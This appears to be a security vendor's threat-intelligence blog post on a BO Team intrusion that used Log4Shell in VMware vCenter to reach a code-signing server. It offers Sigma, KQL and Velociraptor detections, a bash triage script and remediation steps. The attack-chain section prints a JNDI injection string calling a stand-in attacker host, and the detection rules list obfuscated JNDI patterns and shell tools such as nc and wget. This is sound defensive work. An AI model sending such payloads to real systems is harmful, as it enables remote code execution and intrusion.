Back to Intelligence

BO Team Exploits Log4Shell in VMware vCenter, Compromises Code-Signing Server — Detection and Remediation Guide

SA
Security Arsenal Team
November 16, 2026
13 min read

Kaspersky's ICS CERT recently disclosed an investigation that should make every CISO with a virtualized environment uncomfortable. In June 2025, a Russian software developer brought Kaspersky in to investigate suspicious activity on its network. What the responders found was a months-long compromise of the company's development infrastructure — including its software code-signing server — attributed to a threat actor tracked as BO Team (also known as Black Owl and Hoody Hyena).

The initial access vector is the part that stings: the attackers gained their foothold by exploiting Log4Shell — the Log4j remote code execution vulnerability disclosed in December 2021 — in an unpatched VMware vCenter Server instance. More than three years after one of the most widely publicized vulnerabilities in internet history, an advanced actor is still walking through the same unlocked door. And once inside, BO Team didn't smash and grab. They moved deliberately toward the single most damaging target in a software company's network: the infrastructure used to sign code that customers trust.

If your organization runs vCenter — and statistically, it does — this campaign is your problem. This post breaks down the attack chain, gives you detection content you can deploy today, and walks through remediation and hardening for vCenter and code-signing infrastructure.

Why This Matters: The Code-Signing Server Is the Crown Jewel

Ransomware gets headlines, but a compromised code-signing server is arguably a worse outcome for a software vendor. An attacker with access to signing keys and the signing pipeline can:

  • Sign malicious updates that pass every trust check your customers' operating systems and EDR platforms perform. This is the SolarWinds playbook — the supply-chain blast radius extends to every downstream customer.
  • Invalidate years of software integrity assurance. Once a key is compromised, every artifact ever signed with it becomes suspect, forcing key revocation, re-signing campaigns, and emergency customer notifications.
  • Persist invisibly. Malware signed with a legitimate vendor certificate routinely bypasses application allowlisting, SmartScreen reputation, and driver signature enforcement.

BO Team's dwell time — months inside a development network before detection — is consistent with an actor positioning for supply-chain leverage, not quick monetization. That dwell time is also the indictment: nobody was watching the vCenter logs, and nobody had hunted the code-signing server.

Technical Analysis

Attack Chain (Defender's View)

Based on the Kaspersky ICS CERT reporting, the intrusion follows a pattern we've seen repeatedly in engagements involving virtualized infrastructure:

  1. Initial Access — Log4Shell against vCenter. VMware vCenter Server ships multiple Java-based services (the vCenter Server application itself, plus embedded Tomcat-hosted web services) that incorporated vulnerable Log4j versions. An attacker sends a crafted string containing a JNDI lookup — classically ${jndi:ldap://attacker-host/a} — into any field that reaches a vulnerable logging path: HTTP headers (User-Agent, Referer, X-Forwarded-For), login forms, or API parameters. The vulnerable Log4j library resolves the lookup, reaching out over LDAP/LDAPS/RMI to an attacker-controlled server, which returns a reference to a malicious Java class. The class is loaded and executed in the context of the vCenter service — typically a high-privilege service account on the appliance.
  2. Foothold on the vCenter appliance. Post-exploitation on vCenter Server Appliance (VCSA, a Photon Linux-based appliance) commonly manifests as the Java/Tomcat process spawning shells or downloaders — bash, sh, curl, wget, or Python one-liners. From vCenter, the attacker inherits a devastating position: visibility into every VM, the ability to snapshot and exfiltrate virtual disks, and (in many environments) credentials that unlock the broader estate.
  3. Lateral movement into the development network. From the virtualization layer, BO Team pivoted into the developer's internal infrastructure. vCenter is frequently flat-routed to management, CI/CD, and build networks — a segmentation failure we flag in nearly every assessment.
  4. Compromise of the code-signing server. The actor reached and maintained access to the server responsible for signing the company's software. Kaspersky's reporting indicates a months-long presence before the June 2025 engagement began — ample time to study the build pipeline, stage signed malware, or exfiltrate keys.

Affected Products

  • VMware vCenter Server (both Windows-based and the vCenter Server Appliance) running unpatched releases vulnerable to the Log4j RCE — VMware addressed this across vCenter 6.5, 6.7, 7.0, and 8.0 lines starting in December 2021 (VMware advisory VMSA-2021-0028, repeatedly updated).
  • Any Java application embedding Log4j versions 2.0 through 2.14.1 remains exploitable if it logs attacker-controlled input — vCenter is simply the highest-value, most commonly forgotten instance.

Exploitation Status

This is confirmed, active, in-the-wild exploitation by a named threat actor in a documented 2025–2026 campaign. Log4Shell has been in the CISA Known Exploited Vulnerabilities catalog since December 2021. The lesson of the BO Team case is not that the vulnerability is new — it is that unpatched vCenter instances are still internet-reachable and still being found by patient, capable adversaries. If you patched in 2021 and moved on, verify. If you're not sure whether you patched, assume you're exposed until proven otherwise.

Detection & Response

The detections below target the behaviors BO Team's intrusion required: JNDI injection attempts against vCenter services, post-exploitation process execution on the appliance, and the outbound LDAP/RMI connections that Log4Shell exploitation inherently generates. Tune thresholds to your environment, but these are built from the specific mechanics of this attack — not generic noise.

Sigma Rules

YAML
---
title: VMware vCenter Java Process Spawning Shell or Downloader
id: 3b8f2a41-7c6e-4d19-a542-9e0c1b7d5f28
status: experimental
description: Detects vCenter Java/Tomcat services spawning shells, interpreters, or download tools — a hallmark of Log4Shell post-exploitation on the vCenter appliance, as observed in the BO Team intrusion.
references:
  - https://thehackernews.com/2026/11/bo-team-exploits-log4shell-in-vmware.html
  - https://attack.mitre.org/techniques/T1190/
author: Security Arsenal
date: 2026/11/15
tags:
  - attack.initial_access
  - attack.t1190
  - attack.t1059
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|contains:
      - '/usr/lib/vmware-vpx'
      - '/usr/java/jre-vmware'
      - '/opt/vmware'
      - 'tomcat'
      - 'java'
  selection_child:
    Image|endswith:
      - '/bash'
      - '/sh'
      - '/dash'
      - '/curl'
      - '/wget'
      - '/python'
      - '/python3'
      - '/perl'
      - '/nc'
      - '/ncat'
      - '/base64'
  condition: selection_parent and selection_child
falsepositives:
  - vCenter support scripts and VMware diagnostics bundles (verify against change windows)
  - Legitimate vpxd hook scripts — rare; investigate all hits initially
level: high
---
title: JNDI Lookup String in Web Server Logs (Log4Shell Probe)
id: 91c4d7e2-2f85-4a36-b809-4d3e6a1f7c92
status: experimental
description: Detects JNDI injection probes including common obfuscation variants in web access logs. Log4Shell exploitation requires a JNDI lookup string reaching a vulnerable logging path, as used by BO Team against vCenter.
references:
  - https://thehackernews.com/2026/11/bo-team-exploits-log4shell-in-vmware.html
  - https://attack.mitre.org/techniques/T1190/
author: Security Arsenal
date: 2026/11/15
tags:
  - attack.initial_access
  - attack.t1190
logsource:
  category: webserver
detection:
  selection:
    c-uri|contains:
      - '${jndi:'
      - '%24%7Bjndi%3A'
      - '${lower:j}ndi'
      - '${upper:J}NDI'
      - '${${'
  condition: selection
falsepositives:
  - Internal vulnerability scanners and authorized penetration tests (allowlist scanner IPs)
level: high
---
title: Outbound LDAP RMI Connection from Server to Unusual Destination
id: 5f2a9c83-61d4-4b7e-9c35-8a1d4e6b2093
status: experimental
description: Detects outbound connections to LDAP, LDAPS, or RMI ports from servers that have no business initiating directory lookups to external hosts — the callback behavior Log4Shell exploitation produces.
references:
  - https://thehackernews.com/2026/11/bo-team-exploits-log4shell-in-vmware.html
  - https://attack.mitre.org/techniques/T1071/
author: Security Arsenal
date: 2026/11/15
tags:
  - attack.command_and_control
  - attack.t1071
logsource:
  category: network_connection
  product: linux
detection:
  selection_ports:
    DestinationPort:
      - 389
      - 636
      - 1389
      - 1099
      - 1098
  selection_process:
    Image|contains:
      - 'java'
      - 'tomcat'
  filter_internal:
    DestinationIp|startswith:
      - '10.'
      - '192.168.'
      - '172.16.'
  condition: selection_ports and selection_process and not filter_internal
falsepositives:
  - Legitimate directory federation across WAN (document and allowlist known directory peers)
level: critical

KQL — Microsoft Sentinel / Defender

This query hunts two facets of the BO Team attack chain: JNDI probe strings arriving at perimeter devices (via CEF/Syslog ingestion from load balancers, WAFs, and reverse proxies), and shell-spawning behavior reported from the vCenter appliance via Syslog forwarding. Run it over a 30–90 day lookback — BO Team dwelled for months, and your probe data may predate any alert.

KQL — Microsoft Sentinel / Defender
let lookback = 90d;
let jndi_patterns = dynamic(["${jndi:", "%24%7Bjndi%3A", "${lower:", "${upper:", "ldap://", "rmi://"]);
let probes =
    CommonSecurityLog
    | where TimeGenerated > ago(lookback)
    | where RequestURL has_any (jndi_patterns)
       or RequestContext has_any (jndi_patterns)
       or Message has_any (jndi_patterns)
    | project TimeGenerated, SourceIP, DestinationIP, DestinationHostName, RequestURL, Message, DeviceVendor
    | extend Hunt = "JNDI Probe";
let syslog_probes =
    Syslog
    | where TimeGenerated > ago(lookback)
    | where SyslogMessage has_any (jndi_patterns)
    | project TimeGenerated, Computer, HostIP, ProcessName, SyslogMessage
    | extend Hunt = "JNDI String in Syslog";
let vcenter_exec =
    Syslog
    | where TimeGenerated > ago(lookback)
    | where Computer has_any ("vcsa", "vcenter", "vpx")
    | where SyslogMessage has_any ("/bin/bash", "/bin/sh", "curl ", "wget ", "base64 -d")
    | where SyslogMessage !has_any ("vmware-vmon", "healthd")
    | project TimeGenerated, Computer, ProcessName, SyslogMessage
    | extend Hunt = "vCenter Shell Execution";
union probes, syslog_probes, vcenter_exec
| sort by TimeGenerated desc

Velociraptor VQL

Use this artifact across your Linux server fleet to (a) locate vulnerable Log4j JARs still on disk and (b) identify Java processes with suspicious parentage or network behavior. Finding an unpatched log4j-core JAR on any server — not just vCenter — closes the same door BO Team used.

VQL — Velociraptor
-- Hunt vulnerable Log4j JARs and suspicious Java process trees
LET jar_hunt = SELECT FullPath, Mtime, Size
FROM glob(globs=['/**/log4j-core-2.[0-9]*.jar', '/**/log4j-core-2.1[0-4]*.jar'],
          accessor='file')
WHERE NOT FullPath =~ '2\\.(1[5-9]|2[0-9])'

LET proc_hunt = SELECT Pid, Ppid, Name, CommandLine, Exe, Username, CreateTime
FROM pslist()
WHERE (Name =~ 'java|tomcat' AND CommandLine =~ 'vmware|vpx|vCenter')
   OR (Name =~ '^(bash|sh|curl|wget|python|nc)$' AND Username =~ 'vpxd|root')

SELECT * FROM jar_hunt
UNION ALL
SELECT FullPath=NULL, Mtime=NULL, Size=NULL FROM proc_hunt

For a cleaner two-artifact approach in production, split the JAR glob and the process hunt into separate Velociraptor artifacts — the union above is for rapid triage. Feed results into your patching queue immediately; every JAR found is an unpatched initial-access vector.

Remediation Script

Run this on your vCenter Server Appliance (enable the Bash shell first via shell.set --enabled true in the appliance shell) and adapt for other Linux servers. It inventories Log4j JARs, greps vpxd logs for JNDI probes, and surfaces suspicious outbound directory-protocol connections.

Bash / Shell
#!/bin/bash
# Security Arsenal — Log4Shell exposure triage for VMware vCenter (VCSA)
# Run as root on the appliance. Review output before taking action.

echo "=== [1] vCenter build (compare against VMware VMSA-2021-0028 fixed builds) ==="
/usr/lib/vmware-vpx/vpxd -v 2>/dev/null || cat /etc/vmware/appliance/appliance_build 2>/dev/null

echo "=== [2] Scanning for vulnerable log4j-core JARs (2.0 - 2.14.1) ==="
find / -type f -name 'log4j-core-*.jar' 2>/dev/null | while read -r jar; do
  ver=$(basename "$jar" | grep -oE '2\.[0-9]+(\.[0-9]+)?')
  major=$(echo "$ver" | cut -d. -f2)
  patch=$(echo "$ver" | cut -d. -f3); patch=${patch:-0}
  if [ "$major" -lt 15 ] 2>/dev/null; then
    echo "VULNERABLE: $jar ($ver)"
  elif [ "$major" -eq 15 ] && [ "$patch" -eq 0 ]; then
    echo "REVIEW (2.15.0 had incomplete fix): $jar"
  fi
done

echo "=== [3] Grepping vCenter logs for JNDI probe strings (last 30 days of rotated logs) ==="
grep -rEi '\$\{jndi:|%24%7Bjndi%3A|\$\{lower:|\$\{upper:' \
  /var/log/vmware/vpxd/ /var/log/vmware/vmon/ /var/log/vmware/envoy/ \
  /var/log/vmware/analytics/ 2>/dev/null | tail -50

echo "=== [4] Outbound LDAP/RMI connections from Java processes ==="
ss -tnp 2>/dev/null | grep -E ':(389|636|1389|1099|1098)\b' | grep -i java

echo "=== [5] Recent shell execution under vpxd/tomcat context (audit log) ==="
grep -E 'bash|/bin/sh|curl|wget' /var/log/audit/audit.log 2>/dev/null | tail -30

echo "=== Triage complete. Escalate any hits in sections 3-5 to IR immediately. ==="

Remediation

If sections 3–5 of the triage script produce hits, treat this as an active incident, not a patching ticket. BO Team's dwell time was measured in months; assume yours is too until forensics prove otherwise.

1. Patch vCenter — then verify. Apply the current vCenter update for your train (7.0 U3x / 8.0 U2x or later as of this writing) per VMware advisory VMSA-2021-0028 and VMware's broader Log4j guidance. Do not trust the patch date on a spreadsheet — pull the running build (/usr/lib/vmware-vpx/vpxd -v) and compare it against the fixed-build table in the advisory. We routinely find environments where the patch was "applied" to the inventory record but never to the appliance. Reference: https://www.vmware.com/security/advisories/VMSA-2021-0028.html

2. Remove vCenter from the attack surface. vCenter should never be reachable from the internet, full stop. Restrict management access to a dedicated jump host or privileged access workstation over HTTPS (443) and SSH (22) from hardened subnets only. If your Shodan results show your vCenter login page, that finding outranks everything else on your board this week.

3. Hunt for historical compromise before trusting the patch. Patching closes the door; it does not evict anyone already inside. Review vpxd, envoy, and reverse-proxy logs for JNDI strings going back to the oldest available retention. Inspect the appliance for unauthorized SSH keys (/root/.ssh/authorized_keys, service-account home directories), unexpected cron entries, and new local accounts. Snapshot and preserve the appliance disk if you find anything — you may need it for forensics.

4. Segment the virtualization management plane. BO Team's path from vCenter to a code-signing server should be architecturally impossible. Place vCenter, ESXi management interfaces, CI/CD infrastructure, and signing systems in separate security zones with deny-by-default east-west rules. Alert on any connection from the virtualization management subnet toward build or signing infrastructure.

5. Harden the code-signing server as a tier-0 asset.

  • Move private keys into an HSM or cloud KMS with non-exportable key material. If keys lived on the compromised server's filesystem, revoke and re-issue the certificate now — assume key theft during any months-long dwell.
  • Enforce MFA-gated, approval-based signing workflows so no single compromised session can sign arbitrary binaries.
  • Audit the complete signing history against your build pipeline records. Any signed artifact without a corresponding approved build is a supply-chain incident — notify affected customers per your contractual and regulatory obligations.
  • Restrict signing server access to named build service accounts from named build agents; log and alert on every signing operation.

6. Sweep the rest of the estate for vulnerable Log4j. vCenter is the headline, but the VQL artifact above will find forgotten appliances, vendor tools, and in-house applications bundling Log4j 2.0–2.14.1. Every one of them is the same open door. CISA's Log4Shell remediation guidance (cisa.gov) and its KEV entry remain the authoritative references for scope and deadlines.

7. Add dwell-time countermeasures. BO Team operated for months undetected. That is a monitoring failure, not a patching failure. Forward vCenter appliance Syslog to your SIEM (the KQL above assumes exactly that), deploy EDR or at minimum auditd process logging on the management plane, and schedule quarterly hunts against the detections in this post rather than waiting for an external CERT to knock on your door.

The uncomfortable takeaway from the BO Team case is one we've delivered to clients for four years running: Log4Shell is not a 2021 problem — it is a permanent fixture of the threat landscape for every organization that hasn't finished the remediation job. Attackers with supply-chain ambitions are patient, and they are specifically looking for the unpatched virtualization layer sitting between them and your most trusted infrastructure.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.